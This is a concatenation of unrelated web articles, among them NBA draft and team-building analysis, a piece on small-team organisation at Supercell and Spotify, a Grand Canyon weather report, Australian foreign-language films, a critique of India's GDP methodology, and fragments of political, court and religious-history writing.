4. Toronto Raptors, Chris Bosh Made playoffs twice, knocked out in first round each time. 5. Miami Heat, Dwyane Wade Made playoffs in nine of 10 seasons, made four NBA finals, winning three times. THE TOP THREE PICKS Top-three NBA draft picks are coveted because they might quickly turn around the fortunes of a franchise, while picks right after the lottery (clubs that made the playoffs) are deemed hardly worth it because they can go to teams in the “middle”. Or not. Taking the 2013 draft out of consideration because the players have yet to finish their rookie seasons, a look at the five previous drafts show that more players taken No. 15, 16, 17 have made playoff appearances than those chosen No. 1, 2 or 3. A look at how many playoff games each player has been in since being drafted by their original team: 2012 No. 1: Anthony Davis, New Orleans Playoff games: 0 No. 2: Michael Kidd-Gilchrist, Charlotte Playoff games: 0 No. 3: Bradley Beal, Washington Playoff games: 0 No. 15: Moe Harkless, Philadelphia Playoff games: 0 No. 16: Royce White, Houston Playoff games: 0 No. 17: Tyler Zeller, Dallas Playoff games: 0 — 2011 No. 1: Kyrie Irving, Cleveland Playoff games: 0 No. 2: Derrick Williams, Minnesota Playoff games: 0 No. 3: Enes Kanter, Utah Playoff games: 0 No. 15: Kawhi Leonard, Indiana Playoff games: 35 No. 16: Nic Vucevic, Philadelphia Playoff games: 1 No. 17: Iman Shumpert, New York Playoff games: 13 — 2010 No. 1: John Wall, Washington Playoff games: 0 No. 2: Evan Turner, Philadelphia Playoff games: 18 No. 3: Derrick Favours, New Jersey Playoff games: 0 No. 15: Larry Sanders, Milwaukee Playoff games: 4 No. 16: Luke Babbitt, Minnesota Playoff games: 0 No. 17: Kevin Seraphin, Chicago Playoff games: 0 — 2009 No. 1: Blake Griffin, L.A. Clippers Playoff games: 17 No. 2: Hasheem Thabeet, Memphis Playoff games: 4 No. 3: James Harden, Oklahoma City Playoff games: 49 No. 15: Austin Daye, Detroit Playoff games: 4 No. 16: James Johnson, Chicago Playoff games: 4 No. 17: Jrue Holiday, Philadelphia Playoff games: 18 — 2008 No. 1: Derrick Rose, Chicago Playoff games: 29 No. 2: Michael Beasley, Miami Playoff games: 12 No. 3: O.J. Mayo, Minnesota Playoff games: 20 No. 15: Robin Lopez, Phoenix Playoff games: 6 No. 16: Marreese Speights, Philadelphia Playoff games: 12 No. 17: Roy Hibbert, Toronto Playoff games: 35
What do you think?
HOW THEY WERE BUILT A look at how the current top teams in the NBA’s two conferences got to where they are, showing there is no one way that’s better or more guaranteed than another. EASTERN CONFERENCE Indiana Pacers 2012-13: 3rd in the East, 49-32 2011-12: 3rd in the East, 42-24 2010-11: 8th in the East, 37-45 2009-10: 10th in the East, 32-50 2008-09: 9th in the East, 36-46 Highest draft picks in the last five years Paul George, No. 10, 2010 Jerryd Bayless, No. 11, 2008 Tyler Hansbrough, No. 13, 2009 What happened: They are the model franchise when it comes to developing their own players, having patience and getting a break here and there. The George draft pick was inspired, they made a crucial trade to land local point guard George Hill (at a substantial cost in Kawhi Leonard), only signed one big-name free agent in David West and allowed Hibbert to develop over years despite some significant growing pains. Their incremental growth represents one of blueprints for sustained success. — Miami Heat 2012-13: 66-16, 1st in the East 2011-12: 46-26, 2nd in the East 2010-11: 58-24, 2nd in the East 2009-10: 47-35, 5th in the East 2008-09: 43-39, 5th in the East Highest draft picks in the last five years Michael Beasley, No. 2, 2008 Arnett Moultrie, No. 27, 2012 Bojan Bogdanovic, No. 31, 2011 What happened: They are the anti-Pacers, the anti-everything, the once-in-a-lifetime, shoot-for-the-moon organization that hit the motherlode for a number of reasons. The Heat suffered through some tough times to clear enough cap space to sign both LeBron James and Chris Bosh to deals worth less than the NBA maximum; they parlayed lifestyle and weather and a tax-free state into a Big Three that will likely never be seen again thanks to the tightening of NBA cap rules and tax levels. Was it worth it? Of course. Two titles won and a third played for make it worthwhile — but what happens in two years? — Atlanta Hawks 2012-13: 44-38, 6th in the East 2011-12: 40-26, 5th in the East 2010-11: 44-38, 5th in the East 2009-10: 53-29, 3rd in the East 2008-09: 47-35, 4th in the East Highest draft picks in the last five years Dennis Schroeder, No. 17, 2013 Shane Larkin, No. 18, 2013 Jeff Teague, No. 19, 2009 What happened: The prototypical good-but-not-great team that tried the multi-star approach with Joe Johnson and Josh Smith, but could never truly get over the hump. They haven’t drafted particularly well — they took Marvin Williams and left Chris Paul on the table in the 2005 draft — and you have to wonder how things would have turned out if they’d hit one home run in the last five or six years (they took Shelden Williams at No. 5 in the 2006 draft). Still, being a perennial playoff team and high seed can’t be seen as a bad thing; one break here or there — a more amenable first- or second-round matchup might have been enough — and things might have worked out for the better. — Boston Celtics 2012-13: 41-40, 7th in the East 2011-12: 39-27, 4th in the East 2010-11: 56-26, 3rd in the East 2009-10: 50-32, 4th in the East 2008-09: 62-20, 2nd in the East Highest draft picks in the last five years Avery Bradley, No. 19, 2010 Lucas Noqueira, No. 16, 2013 Jared Sullinger, No. 21, 2012 What happened: A hybrid, and an example of gambles that paid off in the short-term and that appears — given the standings today — to be well worth it. Excellent drafting of Rajon Rondo at No. 21 in 2006, but there were no marquee free agents signed and when the Celtics went all-in on Kevin Garnett and Ray Allen through trades, they knew they were taking a short-term shot at greatness — one that worked out, for the most part. They seem to be on a downward trend (this season’s pitiful East notwithstanding) but they’ve massaged assets enough that they don’t seem destined for the absolute bottom. — WESTERN CONFERENCE Portland Trail Blazers 2012-13: 33-49, 11th in the West 2011-12: 28-38, 10th in the West 2010-11: 48-34, 6th in the West 2009-10: 50-32, 6th in the West 2008-09: 54-28, 4th in the West Highest draft picks in the last five years Damian Lillard, No. 6, 2012 C.J. McCollum, No. 10, 2013 Meyers Leonard, No. 11, 2012 What happened: They’ve grown and fallen and grown again, and are proof positive that sometimes a big hit in the draft and a couple of tweaks can turn a franchise around. It took time for LaMarcus Aldridge to blossom after the 2006 draft, they captured lightning in a bottle with Brandon Roy but found a gem — and lots of teams thought he was — in Damian Lillard. But the tweaks are just as important and a reason to think so-called minor moves can provide great benefits. They bolstered a bench with a series of under-the-radar moves that greatly improved a good team. Sometimes home runs need to be augmented with singles. — Oklahoma City Thunder 2012-13: 60-22, 1st in the West 2011-12: 47-19, 2nd in the West 2010-11: 55-27, 4th in the West 2009-10: 50-32, 8th in the West 2008-09: 23-59, 13th in the West Highest draft picks James Harden, No. 3, 2009 Russell Westbrook, No. 4, 2008 Steven Adams, No. 12, 2013 What happened: Sometimes, the draft process works. A huge hit with Westbrook and Harden — although reality set in and Harden had to be moved, which may become more a fact of NBA life as the new tax system kicks in fully — and the development of talent like Serge Ibaka didn’t hurt. Kevin Durant is the engine that drives the franchise but here’s the question: What if Portland had gone a bit off the charts and taken him instead of Greg Oden? Where would they be then? Sometimes — many times — it’s the actions of others that set a team up to succeed. — San Antonio Spurs 2012-13: 58-24, 2nd in the West 2011-12: 50-16, 1st in the West 2010-11: 61-21, 1st in the West 2009-10: 50-32, 7th in the West 2008-09: 54-28, 3rd in the West Highest draft picks in the last five years James Anderson, No. 20, 2010 George Hill, No. 26, 2008 Livio Jean-Charles, No. 28, 2013 What happened: The gold standard. Pure and simple. Astute drafting — Tony Parker (No. 28, 2001) and Manu Ginobili (No. 57, 1999) — along with stability in coaching and throughout the roster combined with excellent trades — Kawhi Leonard for George Hill — make the Spurs unique among the 30 NBA teams. In a bygone era they did fail miserably and got lottery luck to get Tim Duncan (1997, No. 1 overall) but San Antonio is so much more than just that. Can it be replicated? It hasn’t been in more than a decade, despite valiant efforts throughout the league. — Los Angeles Clippers 2012-13: 56-26, 4th in the West 2011-12: 40-26, 5th in the West 2010-11: 32-50, 13th in the West 2009-10: 29-53, 12th in the West 2008-09: 19-63, 14th in the West Highest draft picks Blake Griffin, No. 1, 2009 Eric Gordon, No. 7, 2008 Al-Farouq Aminu, No. 8, 2010 What happened: So bad for so long, it’s impossible to suggest they knew what they were doing in all those years of blown high draft picks, which left the Clippers in the West toilet for so long. They finally landed a great one in Blake Griffin and it started the team on the ascent — but if they don’t add Chris Paul in a trade and convince him to re-sign long term, it could very well have been, at best, a flash in the pan that paid off for a couple of years before the cycle repeated itself. They seem secure at the moment but only because of multiple moves, more proof that the growth process is multi-pronged.The summer windfall continues for NBA free agents, as teams continue to offer historically lavish contracts to the best available players.
Sources tell ESPN the Detroit Pistons have re-signed Reggie Jackson, a restricted free agent, for five years and $80 million.
Reggie Jackson, pictured with the Yankees in 1980, earned just $25.4 million in 2015 dollars over the course of his Hall of Fame career. Malcolm Emmons/USA TODAY Sports
Not the Reggie Jackson. The other Reggie Jackson.
The Reggie Jackson -- Reginald Martinez Jackson -- was a 14-time Major League Baseball All-Star and member of five World Series champions. He was a legitimate rock star in his prime and was voted into the Baseball Hall of Fame on the first ballot in 1993.
He had a candy bar named after him, for goodness sake.
The other Reggie Jackson -- Reginald Shon Jackson -- is a solid NBA player who backed up Russell Westbrook with the Oklahoma City Thunder for most of his first four pro seasons. He's a zero-time All-Star who has yet to start more than 40 games in a season. ESPN.com's Tom Haberstroh describes him as "a point guard outside the top 15 at his position who has shown no ability to hit the 3 with any kind of consistency."
The Reggie Jackson received less than $10 million in salary -- adjusted for inflation to approximately $25.4 million -- over the course of his 21-year playing career.
The other Reggie Jackson, as we mentioned earlier, will earn $80 million guaranteed over the next five seasons.
This information leads us to two conclusions:
1.) Reginald Martinez Jackson was severely underpaid, even after baseball's era of free agency began in the mid-1970s.
2.) Reginald Shon Jackson was wise to sign that contract as quickly as his fingers would let him.Think small and you will achieve big things. That’s the Yoda-esque, counterintuitive philosophy that nets Finnish game company Supercell revenues of millions of dollars a day.
So really, how do you build a billion-dollar business by thinking small?
One key is the company’s supercell organizational model. Autonomous small teams, or “cells,” of four to six people position the company to be nimble and innovative. Similar modules — call them squads, pods, cells, startups within startups — are the basic components in many other nimble, growing companies, including Spotify and Automattic. The future, as Dave Gray argues in The Connected Company, is podular.
Still, small groups of people do not necessarily make a thriving business, as the fate of many a fledgling startup warns. What is it about the cells and pods model that presents not just a viable alternative but the future of designing how we work together?
It preserves some of the spark. Let’s go back to Supercell’s terminology. Reflecting both its Latin roots (meaning “small room”) and what we learn about in biology (the smallest structural and functional unit of an organism), cells provide the dynamism and flow of building something together with a few people in the same room. It’s not just that these teams are small, they’re often cross-functional and self-managing, with members totaling in the single digits and probably eating two pizzas.
Achieving big in this podular future requires thinking about what makes that small team magic yield more than a sum of its parts and how to make that synchronize that throughout an entire organization and scalable for sustainable growth.
The Autonomy/Alignment Matrix
Autonomy is such a key factor in these small teams that they’re often referred to as startups within a startup. It’s no surprise; autonomy helps you move fast because you don’t get mired in decision-making by committee and inefficient coordination. Autonomy is also incredibly motivating. People crave some degree of control and self-determination to make, build, create awesome things rather than being told what to do.
Yet letting loose a bunch of people and proclaiming “Go forth and be autonomous!” will likely result in chaos, just like mashing a bunch of small startups together to create a larger company wouldn’t work. You have to think about what brings the cells together and how to scale that organizational glue.
The counterpart to autonomy is alignment, as Henrik Kniberg, an agile & lean coach who works very closely with the rapidly growing Spotify, explains.
At Spotify, engineers and product people work within a kind of matrix organization that evolved out of a need to scale agile small teams. Their basic unit or “cell” is called a “squad,” a cross-functional, self-organizing, co-located team of less than eight people that has autonomy on what to build and how. While each squad has a mission to work towards, they still have to harmonize across many levels — on product, company priorities, strategies, and other squads.
The trick, Kniberg explains, is not to frame autonomy and alignment as poles on a spectrum but as dimensions. The goal is high autonomy/high alignment within this framework.
Alignment is what enables autonomy. The stronger the alignment, the more autonomy you can grant because you don’t have to worry that people are going in a million different directions. What does that mean in practice? “The leader’s job is to communicate what problem needs to be solved and why, and the squads collaborate with each other to find the best solution.”
Kniberg sums it up this way: “the key principle is be autonomous but don’t suboptimize.” The company’s overall mission simultaneously takes precedence over individual squad’s and individual’s missions while granting people the ability to direct themselves. It boils down to this: “be a good citizen in the Spotify ecosystem.”
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Companies adopt these principles in different ways, according to their needs and cultures. But in studying similarly structured companies, I noticed three ways they create their ecosystem to encourage high alignment/high autonomy and good organizational citizenship.
How to Encourage High Alignment/High Autonomy in Small Teams
1. Don’t Hire Jerks.
If you’re building a high autonomy/high alignment work culture, hiring is a priority concern. You want people in place who will thrive within and contribute to both dimensions. For Supercell CEO Ilkka Paanenen, this is the first and foremost priority: “When you set up a company, the only thing — the only thing — you should care about is getting the best people.”
The “best people” often gets boiled down to what’s the most talented and has the most skill. But that ignores the fact that people must work together. The actual “best people” then have a balance of autonomy and alignment in themselves too. They’re both self-directed and collaborative.
For Spotify, that means filtering out people who don’t really care to align with anything outside of themselves — “the talented jerks,” as Jonas Aman, part of the People Operations team, puts it. “We don’t want to hire people who are very good at what they do but can’t work together with other people.” To do this, they scrutinize how candidates communicate about work they’ve done previously. Do they only talk about themselves? How do they talk about other people? “The best way to predict future behavior is to look at past behavior,” reasons Jonas.
2. Manage Progress and People Rather Than Power
Mini-startups can sound very flat, but alignment, especially as you scale, requires some management, whether they have that title or not.
Take Automattic, which is best known for making WordPress, for example. It currently has over 200 employees, but when it got to about 50 people, the company transitioned from a completely flat structure to the mini-startup collective model. Designated managers, or “team leads” help allocate work and provide direction. As a team lead at Automattic, Beau Lebens describes his job as “keeping the trains running — making sure that as a team we’re focusing, helping schedule priorities, or redirecting things to another team if they don’t make sense for us.”
Beau elaborated further via email — decision-making is:
a mix all the way from ‘the top’ (general strategic direction) down through other team leads (coordination where there’s team cross-over) through me (mainly prioritization and just helping people focus and not get tangled up in other things) to the team, which often decides who will specifically work on what, how to tackle specific projects, how to break it up, etc.
So top-down communication helps provide direction and purpose — the “why” — and small teams decide how to go about finding the best solution — and it’s the team leads who largely make sure everyone’s in alignment.
This more fluid, emergent style of management also applies the progress principle, the fact that making progress is the most powerful motivator. In high autonomy/high alignment cultures, the job of managers and leaders is to help people make progress and make sure everyone’s on the same page about what progress entails. They do this by providing guidance, support, and making sure people have what they need, rather than a low-autonomy GPS-style management of giving turn-by-turn directions.
3. Enable Self-Service Transparency
Enabling progress on all levels also requires transparency and distributing information. At Supercell, Paananen sends a daily company-wide email with key performance indicators to all employees so that nobody is left in the dark. He explains, “It isn’t restricted to executives, it is the same information released at the same time so we can all figure out on our own what is needed.”
Transparency is one of Automattic’s most prominent values. Beau’s team uses iDoneThis to keep on the same page on what everyone’s working on and to gauge progress all in one place, which helps align his team who’s distributed across multiple time zones. In addition, roughly 80% of all internal communication at Automattic takes place on its P2 blogs, which are organized variously by function, teams, and projects and run on WordPress’s own real-time theme. Rather than information getting hoarded away, decisions and discussions are documented, shared, searchable and viewable to everyone in the company.
When everyone has the knowledge they need at their fingertips, they don’t have to wait around to get to work or make decisions, they can just do it. Distributing information also means distributing power, and sharing knowledge helps align small teams together.
* * * *
People need autonomy, mastery, and purpose to be sustainably motivated and engaged at work, as Dan Pink describes in his book, Drive. Companies like Supercell, Spotify, and Automattic show how Pink’s insights can apply to create not just intrinsic motivation for individuals but people management and collective focus at an organizational level.
People in cellular, agile small teams thrive on autonomy and mastery — which are self-centered elements — but they are also guided, connected, and even elevated through purpose, which Pink describes as “our yearning to be part of something larger than ourselves.” By definition, as organization, there should be a collective purpose, but it’s often unclear or diluted through things like unhealthy politics, mismanagement, or even being at odds with the people you hire.
In building and scaling organizations, communicating, refining, and helping people carry out that purpose is vital to creating good citizens in your work ecosystem. Like pods and squads and cells, it’s about the yin and yang of holding the individual and the collective in your mind at once and thinking about how you can grow together. Supercell’s philosophy is actually a reminder that we’re all made of smaller stuff, that small seeds can grow into giant trees, that small cells and pods can grow, in the right conditions, to achieve greater things.
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Credits: Check out Kniberg explaining Spotify’s engineering culture in this video. You can find the alignment/autonomy matrix in his slides here.CLOSE This time-lapsed video shows a cloud inversion filling the Grand Canyon. The deep ravine was completely covered by clouds in an rare weather phenomenon which usually happens every few years. VPC
Dense clouds at the South Rim of the Grand Canyon on Thursday, Dec. 11, 2014. A rare weather phenomenon on Thursday had visitors looking out to a sea of thick clouds. (Photo: Maci MacPherson/National Park Service)
GRAND CANYON NATIONAL PARK — A rare weather phenomenon at the Grand Canyon had visitors looking out on a sea of thick clouds just below the rim.
The total cloud inversion was expected to hang inside the canyon throughout Thursday.
Visitors to Mather Point on the South Rim of the Grand Canyon view a rare weather phenomenon: a sea of thick clouds filling the Canyon just below the rim on Thursday, Dec. 11, 2014. Cory Mottice of the National Weather Service said the weather event happens about once every several years, though the landmark was treated to one last year. (Photo: Michael Quinn/National Park Service)
Cory Mottice of the National Weather Service says the weather event happens about once every several years, though the landmark was treated to one last year.
The fog that has been shrouding parts of northern Arizona is courtesy of recent rains. Mottice says the fog is able to stick around and built up in the Grand Canyon overnight when there is no wind.
A different view of the Grand Canyon, filled with clouds on Thursday, Dec. 11, 2014. (Photo: Maci MacPherson/National Park Service)
With an inversion, the clouds are forced down by warm air and unable to rise.
Mottice says the Grand Canyon gradually will clear up in the coming days.
Read or Share this story: http://azc.cc/1ArD50XOf all the films nominated for an Oscar this year, Tanna might well be one of sweetest success stories.
The 2015 joint Australian and Vanuatuan production, a romance set in the eponymous South Pacific island, is relatively unknown outside of the region. However, all that is set to change now the film has been nominated in the Best Foreign Language category for the Academy Awards, a first for Australia.
But it's by no mean the first "foreign language" film the country's produced. There's a plethora of non-English speaking films set in Australia. We've compiled just a few you really need to see.
Although proud of their work on the film, Tanna's co-directors Bentley Dean and Martin Butler were stunned by the Oscar nomination. "Given the calibre of the competition I didn’t think we stood much chance," explained Butler to Mashable via email.
"But the mob in Tanna however were not at all surprised. They had been making ‘tamafa,’ an invocation to their Kastom spirit, for weeks to ensure the nomination and they were always confident of the outcome."
In terms of its plot, Tanna is a Romeo And Juliet-esque tale of star-crossed lovers forced apart by tribal laws. All actors in the movie were played by the Yakel people of the island in their own language, Nauvhal. All members of the cast portrayed characters that lined up closely with their real life selves.
Butler explains he drew less from Shakespeare and more from the history and culture of Tanna itself. "From the very beginning we set out to be authentic to the culture we were filming, but also to create an engaging and accessible narrative for a western cinema audience," Butler said.
"We lived in the village for seven months, we installed solar panels for power and we talked for over two months to learn the culture and form the story with the tribe."
"The tribe were the first people to see the finished film," Butler said. "We erected a huge screen in the village, with a good sound system and witnessed one of the most extraordinary cinema experiences you’re ever likely to find."
"The next day the Chiefs formally told us, 'we know you came with your equipment to make a film, but we consider this our film.' We thought this was our best review."
But aside from its status as a labor of love — not to mention an important cultural document — Tanna also represents a genuine win for the Australian filmmaking community.
Though the country has been entering films in the Best Foreign Language category on and off since 1996, only one film prior to Tanna ever made the shortlist — Kaytej director Warwick Thornton's powerful and meditative Samson And Delilah.
Like Tanna, Thornton's poetic Samson And Delilah relocates a Shakespearean romance into a contemporary Indigenous setting. Shot in Warlpiri language, the film mixes up a traditional story trope — young love battling tragic surroundings — with cutting-edge directorial flair.
Often critically-acclaimed Aussie flicks tend to be almost fable-like in their simplicity, obsessed with the natural world and morally ambiguous.
Take the film of another Down Under director, Cate Shortland's Lore. A study of resistance, innocence and the way the two intersect, the German language Lore might not have been shortlisted for the Oscars, but it still remains a powerful watch.
That's not even to mention two powerful Indigenous-led films from director Rolf De Heer, both of which were submitted to the Oscars but failed to be nominated — Charlie's Country and Ten Canoes.
Though unrelated in terms of |
health issues — but if you took dollar for dollar, there are many extraordinarily fine community health organizations that exist to provide quality care for women on a wide variety of health issues,” Bush said.
Writing for the Washington Post, Paul Waldman compared Jeb Bush to Mitt Romney, and suggests this latest gaffe will make him vulnerable to the same “war on women” attack that Romney faced in 2012.
“After all, in 2012 President Obama hammered Mitt Romney (see this ad, for instance) for taking exactly this position on defunding Planned Parenthood, and ended up beating Romney among women by 11 points,” Waldman wrote.
Jeb Bush says he misspoke when he made the comment Tuesday about half a billion dollars for women’s health issues, the Hill reported. The comment by Bush was quickly criticized by Hillary Clinton and CNN, which quickly opined that “Jeb Bush’s Planned Parenthood jab backfires.”
“With regards to women’s health funding broadly, I misspoke, as there are countless community health centers, rural clinics, and other women’s health organizations that need to be fully funded. They provide critical services to all, but particularly low-income women who don’t have the access they need,” Bush said in a statement reported by the Hill.
The Bush gaffe got attention in Breitbart News and has drawn criticism from others on the conservative side of the political spectrum, as well.
“It wasn’t just Democrats who blasted Bush for his on-stage remark,” CNN reported, “Guy Benson, the political editor at the conservative news website Townhall, tweeted that Bush’s comment will allow Democrats to obfuscate on five controversial Planned Parenthood videos that have stoked a conservative push to block federal funds from flowing to the organization by conflating that push with a debate over women’s health.”
“Jeb Bush wants to define who and what he is as a candidate for president before the Democrats define him,” the Inquisitr reported.
“He saw the mistake made by Mitt Romney and doesn’t want to repeat it,” as CNN Politics has reported, that Romney advisers “admitted one of their biggest mistakes was failing to define him before the Democrats did.”
Will Jeb Bush’s gaffes prevent him from becoming the GOP nominee for president in 2016? Only time will tell, but his blunders certainly don’t help him win this campaign.
[Photo of Jeb Bush from Getty Images]By Rajeswari Sengupta
Indira Gandhi Institute of Development Research
Image Attribute: IndraStra Creatives
In 2015, the Central Statistical Office (CSO) revised the way GDP is calculated in India. According to the new series, India is the fastest growing large economy in the world, with a 7.1 percent real growth rate. Other trusted measures of the state of the economy convey a discordant picture. This discrepancy has led to an active debate comprising two parts. One part of the debate has been arguments about the extent to which the official GDP data are accurate. The second part of the debate is based on criticising CSO's methods.
This article summarises the literature that examines CSO's methods. There are two main areas of concern: the way manufacturing Gross Value Added (GVA) has been estimated and the methodology for calculating deflators.
Manufacturing GVA
Enterprise vs. Establishment approach: In a major innovation, the new GVA methodology shifted data collection from establishments (or factories) to enterprises (or firms). Sapre and Sinha (2016) point out that lack of clarity on measures of output and costs at the enterprise level can lead to imprecise estimates of GVA. The activities of firms can be much more diverse than those of factories, and not all of these functions would qualify as manufacturing. Yet all the value added of enterprises classified as "manufacturing firms" has gone into the calculation of manufacturing GVA. This will inflate the level of output and possibly also the growth rate, if the ancillary activities are growing faster than the manufacturing ones.
Blowing up of GVA: Extrapolating from samples ("blowing up") is not a new feature of the current GDP series. What has changed is the database used. Previously, manufacturing GVA was based on the RBI's fixed sample of large private companies. Under the new series, the MCA21 database is used to compile a set of "active" companies, which have filed their annual financial returns at least once in the past three years. The problem is that for any given year, information from several active companies remains unavailable till a cut-off date of data extraction. In such a case, the GVA of available companies needs to be blown-up to account for the unavailable companies. There are multiple issues in this blowing-up method.
The year wise number of available and active companies in manufacturing is not publicly available. Hence, year on year, the exact number of companies for which the GVA is blown up is unknown. While the Ministry of Corporate Affairs has made filing of annual financial returns mandatory for all registered companies, it is not known how many of these companies produce any output on a regular basis.
The blowing-up factor is the inverse of the ratio between the paid-up capital (PUC) for the available companies and that for the active set as a whole. Nagaraj ( 2015a 2015b ) argues that this is inappropriate since a large fraction of the MCA21 active set are "fictitious, shell companies" that exist only on paper. In that case the blowing-up method is likely to overestimate GVA.
Sapre and Sinha (2016) argue that blowing-up using the PUC is an inappropriate method because PUC and GVA do not have any one-to-one relation. Also, it is possible that the actual GVA of some "active but unavailable" companies is negative for a particular year. In those cases, blowing up of GVA using the PUC factor method can lead to overestimation.
The actual computation of the blowing-up factor applied by the CSO in the new series has not been described in detail in the official documents. This makes it difficult to replicate the process and analyse it.
Rajakumar (2015) points out this is not appropriate as the two groups are widely divergent in their patterns. A single blowing-up factor has been used for private as well as public limited companies.points out this is not appropriate as the two groups are widely divergent in their patterns.
The number of "available" companies reporting their annual financial returns with MCA varies across the years. As a result, the blowing-up factor that accounts for the non-reporting companies will also vary from year to year. As highlighted by Nagaraj ( 2015a 2015b ) and Sapre and Sinha (2016), this variation will result in wide fluctuations in the final GVA estimates.
Identification of manufacturing companies: Sapre and Sinha (2016) find that within the manufacturing sector several companies operate as wholesale traders or service providers. These companies may have changed their line of business since they were originally registered. These changes do not get reflected in the Company Identification (CIN) code assigned to the companies. Such mis-classification of companies will distort the manufacturing estimates, although not the overall GVA.
MCA 21 vs. IIP : There are other problems with the manufacturing GVA calculation that have not been written about much. For the manufacturing sector, the GVA is derived from a combination of MCA 21 numbers, Index of Industrial Production (IIP) estimates and estimates of the unorganized sector from the Annual Survey of Industries (ASI). While the MCA21 is a new database, the base year for the IIP data is still 2004-05. Also the data obtained from MCA 21 follows an "enterprise" approach as mentioned earlier, but the data obtained from ASI follows the old "establishment" approach. The full implications of these discrepancies are yet to be fully understood.
Deflators
Previously, estimates of real GDP relied heavily on production indices such as the IIP. Now, most real numbers are derived by taking nominal data and deflating them by price indices. If done well, this approach can give a more accurate measure of value added. But if the deflators used are inappropriate, the estimated real magnitudes will be distorted. And this may well have happened in the past few years, since there have been very large changes in relative prices (especially petroleum and other commodities), which are inherently difficult to capture in aggregate deflators. The issues here are as follows.
Double deflation: In most G20 countries, real manufacturing GVA is computed using a methodology known as double deflation. In this method, nominal outputs are deflated using an output deflator, while inputs are deflated using a separate input deflator. Then, the real inputs are subtracted from real outputs to derive real GVA. But in India things are done differently. Here, we compute the nominal GVA, and then deflate this number using a single deflator.
If input prices move in tandem with output prices, both methodologies will give similar results. But if the two price series diverge- as they have for the past few years in India- single deflation can overstate growth by a big margin.
The reason is not difficult to see. If the price of inputs falls sharply, profits will increase, and nominal value added will go up. Since real GDP is supposed to be measured at "constant prices", this increase needs to be deflated away. Double deflation will do this easily. But single deflation will not work. In fact, if a commodity-weighted deflator like the Wholesale Price Index (WPI) is used, as is the case under the current methodology, nominal growth will be inflated, on the grounds that prices are actually falling! In this case, real growth will be seriously overestimated. A fuller explanation is provided here.
As the gap between input and output inflation starts to close, the problem will diminish. But that could also send a misleading signal, because it might seem that growth is slowing, when only the measurement bias is disappearing.
Service sector deflator: Deflator problems also plague the estimates for the service sector, which accounts for the bulk of GDP. Currently, the deflator used for much of this sector is the WPI. But the weight of services in the WPI is negligible. If instead the services component of the Consumer Price Index (CPI) were used, growth in this sector would be far lower than currently estimated.
WPI vs. CPI : Finally, there are questions about whether the WPI should really be used as a deflator, at all. The weights are now more than a decade old, and India's economic structure has changed radically over this period. In addition, the sample frame (the selection of goods sampled) is also out of date. The CPI is a better price index [link, link]. Finally, there are questions about whether the WPI should really be used as a deflator, at all. The weights are now more than a decade old, and India's economic structure has changed radically over this period. In addition, the sample frame (the selection of goods sampled) is also out of date. The CPI is a better price index [].
Potential refinements
Based on the foregoing, a number of refinements to the GDP methodology could be considered:
Releasing disaggregated information on firm output and cost items, to permit more precise estimation of manufacturing GVA given the shift from the establishment to the enterprise approach.
Altering the definition of the active set of manufacturing companies, to ensure the companies are truly active.
Releasing the number of active and available companies every year by industry or sector, to get a sense of the companies contributing to GVA.
Shifting the blowing-up factor from paid-up capital to another indicator, such as replacing growth rates for "active but unavailable" companies by the overall growth rate for the relevant sub-sector.
Using separate blowing-up factors for public and private limited companies. Currently the blowing-up factor does not take into account the size, industry or ownership of the unavailable companies.
Reviewing the classification of companies to ensure they are categorized appropriately. Providing greater clarity and transparency about the database and methodology used to estimate the manufacturing sector GVA. Also, documents could be released explaining the precise method used to blow up the GVA estimates.
Adopting the double deflation method to calculate real manufacturing GVA.
Using the relevant CPI components to deflate service sector GVA.
More generally, the WPI could be replaced by the relevant CPI components, in the long period before a Producer Price Index (PPI) is developed which would be an ideal deflator.
Until this methodological debate subsides, official GDP data should be used with caution as it may not accurately reflect conditions in the economy. Other proxies for output are required.
About the Author:
Rajeswari Sengupta is researcher at the Indira Gandhi Institute of Development Research.
Acknowledgements:
Author thanks Josh Felman, Deep Mukherjee, R. Nagaraj, Amey Sapre, and Pramod Sinha for useful conversations
References:
1. Nagaraj, R. (2015a), Seeds of doubt on new GDP numbers Private corporate sector overestimated?, Economic and Political Weekly, Vol. L, No. 13.
2. Nagaraj, R. (2015b), Seeds of doubt remain: A reply to CSO’s rejoinder, Economic and Political Weekly, Vol-L, No. 18.
3. Nagaraj, R. (2015c), Growth in GVA of Indian manufacturing, Economic and Political Weekly, Vol-L, No. 24.
4. Nagaraj, R. and T.N. Srinivasan (2016), Measuring India’s GDP Growth: Unpacking the Analytics & Data Issues behind a Controversy that Refuses to Go Away, India Policy Forum, July 2016.
5. Rajakumar, J Dennis (2015), Private corporate sector in new NAS series: Need for a fresh look, Economic and Political Weekly, Vol-L, No. 29.
6. Sapre, Amey, and Pramod Sinha (2016), Some areas of concern about Indian Manufacturing Sector GDP estimation, NIPFP Working Paper 172, August 2016.
This article was originally published at Dr. Ajay Shah's blog on September 10, 2016.
Reprinted with Permission. All rights reserved by the author and original publisher.The prosecution has built its case on hundreds of hours of profanity-laced recorded phone calls between the Georges and the women who worked for them. On one call, Vincent George Jr. is heard threatening to beat one of the women if she fails to “get me my money” or to check in every two hours.
Bridgette Carr, director of the Human Trafficking Clinic at the University of Michigan Law School, said it was not common for prostituted women to testify for their pimps in sex trafficking cases, in part because many prosecutors declined to bring charges if the women would not testify for the prosecution. But Ms. Carr said it was “not shocking” that women would assist the defense, and may actually be evidence of how effective the pimps were in manipulating the women. Ms. Geissler, 31, testified that she was born and raised in Quakertown, Pa., and met Vincent George Jr. 14 years ago, when she was 17. They began a sexual relationship and she began working in prostitution for him around her 18th birthday, she said. They have an 8-year-old daughter together. She said Mr. George took care of her financial needs while she took several years off from prostitution following their daughter’s birth.
She lived in a house in Allentown, Pa. Ms. Geissler referred to other prostitutes that worked for the Georges as her “wife in-laws.” She said they would drive into Manhattan together and pass out cards offering massages, a cover for prostitution. But they also went skiing in Vermont and took vacations together to Florida.Speaking FRANK-ly About Jesus: Critique of alleged evidence of the historicity of Jesus of Nazareth.
(Ed. Note: This is the 25th post in Frank Zindler’s Speaking Frankly About Jesus blog which is dedicated to the thesis that Jesus of Nazareth never existed. This is part Q of a mini series debunking “The Myth of the Mythical Jesus“.)
Lies: So short in stating, so long in negating!
In the previous posting in reply to Philip Jenkins’ “The Myth of the Mythical Jesus,” I examined the falsifications in the texts of Josephus pertaining to “James, the brother of the Lord,” and John the Baptist. Today I wish to do a flashback—I wish to revisit posting Number 17 (PART “i” of my Jenkins rejoinders). In that posting, it may be recalled, I was critiquing Jenkins’ claim that:
